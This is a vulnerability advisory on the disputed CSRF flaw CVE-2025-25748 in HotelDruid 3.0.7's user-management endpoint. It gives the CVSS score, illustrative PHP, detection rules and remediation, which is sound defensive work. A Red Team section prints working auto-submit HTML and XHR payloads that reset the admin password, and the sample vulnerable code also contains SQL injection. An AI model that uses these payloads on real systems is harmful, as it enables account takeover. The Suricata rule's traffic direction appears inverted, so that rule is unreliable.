CVE-2025-25748

Executive Summary

CVE-2025-25748 is a disputed Cross-Site Request Forgery (CSRF) vulnerability in HotelDruid 3.0.7, specifically within the gestione_utenti.php endpoint. The vulnerability allows an attacker to perform unauthorized actions, such as modifying user passwords, on behalf of an authenticated user. The dispute arises because the vendor claims an id_sessione CSRF token exists, but the original disclosure argues that the token is not properly validated or can be bypassed. This report provides a comprehensive technical analysis, detection methods, and exploitation guidance.

Supply Chain & Package Security

HotelDruid is a PHP-based web application. The vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a direct application-level issue. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a malicious link)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is High due to the potential for complete account takeover and data manipulation.

Deep Dive & Mechanics

The vulnerability resides in the gestione_utenti.php endpoint, which handles user management operations. The core issue is the lack of proper CSRF protection. While the vendor claims an id_sessione token is used, the original disclosure indicates that:

1. The token is not validated against the user's session.
2. The token can be predicted or reused.
3. No origin or referrer header validation is performed.

An attacker can craft a malicious HTML page or email that, when visited by an authenticated HotelDruid administrator, triggers a request to gestione_utenti.php with parameters to change a user's password. Since the browser automatically includes the session cookie, the request appears legitimate.

Attack Flow:

1. Attacker identifies a target HotelDruid instance.
2. Attacker crafts a CSRF exploit (e.g., an HTML form that auto-submits).
3. Attacker lures an authenticated admin to visit the malicious page.
4. The form submits a POST request to gestione_utenti.php with parameters like action=modify_password&id_utente=1&password=newpass.
5. The server processes the request, changing the password without verifying the CSRF token.

Vulnerable vs. Patched Code

Vulnerable Code (HotelDruid 3.0.7):

// gestione_utenti.php (simplified)
if ($_POST['action'] == 'modify_password') {
    $id_utente = $_POST['id_utente'];
    $password = md5($_POST['password']);
    // No CSRF token check
    $query = "UPDATE utenti SET password='$password' WHERE id=$id_utente";
    mysql_query($query);
}

Patched Code (Hypothetical):

// gestione_utenti.php (patched)
session_start();
if ($_POST['action'] == 'modify_password') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $id_utente = intval($_POST['id_utente']);
    $password = password_hash($_POST['password'], PASSWORD_DEFAULT);
    $stmt = $db->prepare("UPDATE utenti SET password=? WHERE id=?");
    $stmt->execute([$password, $id_utente]);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running HotelDruid 3.0.7 instance.
• An authenticated admin session (victim).

Exploit HTML (csrf_exploit.html):

<html>
<body>
<form action="http://target.com/hoteldruid/gestione_utenti.php" method="POST">
    <input type="hidden" name="action" value="modify_password">
    <input type="hidden" name="id_utente" value="1">
    <input type="hidden" name="password" value="hacked123">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim (e.g., via email or social engineering).
3. Once the victim clicks, the password for user ID 1 is changed to hacked123.

Advanced Exploit (using XHR):

// csrf_exploit.js
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://target.com/hoteldruid/gestione_utenti.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("action=modify_password&id_utente=1&password=hacked123");

Blue Team

Detection:

• Monitor for unusual POST requests to gestione_utenti.php with action=modify_password.
• Check for multiple password change requests in a short time.
• Analyze HTTP Referer headers for unexpected origins.

Prevention:

• Implement proper CSRF tokens (e.g., using csrf_token in session).
• Validate the Origin and Referer headers.
• Use SameSite cookies (set to Lax or Strict).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /hoteldruid/gestione_utenti.php with parameters action=modify_password.
  • Unusual Referer headers (e.g., from attacker domains).
• Host:
  • Unexpected changes in user passwords.
  • Log entries showing password modifications without prior authentication.
• File:
  • No specific file IOCs, but monitor for unauthorized access to gestione_utenti.php.

Detection Engineering

YARA Rule

rule CVE_2025_25748_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2025-25748"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-25748"
    strings:
        $csrf_payload = "action=modify_password" nocase
        $csrf_payload2 = "id_utente=" nocase
        $csrf_payload3 = "password=" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-25748 CSRF Exploit Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attacks targeting HotelDruid gestione_utenti.php
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/hoteldruid/gestione_utenti.php'
        cs-uri-query|contains: 'action=modify_password'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25748 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/hoteldruid/gestione_utenti.php";
    http_uri;
    content:"action=modify_password";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the gestione_utenti.php endpoint if not required.
   • Implement a Web Application Firewall (WAF) rule to block requests with action=modify_password without a valid CSRF token.

2. Long-term Fix:

   • Apply a patch from the vendor (if available) or manually add CSRF token validation.
   • Update to the latest version of HotelDruid.

3. Configuration Changes:

   • Set session cookie SameSite attribute to Lax or Strict.
   • Enable X-Frame-Options: DENY to prevent clickjacking.

4. Monitoring:

   • Continuously monitor logs for CSRF attempts.
   • Use the provided detection rules.

Valters IT
Securing Digital Frontiers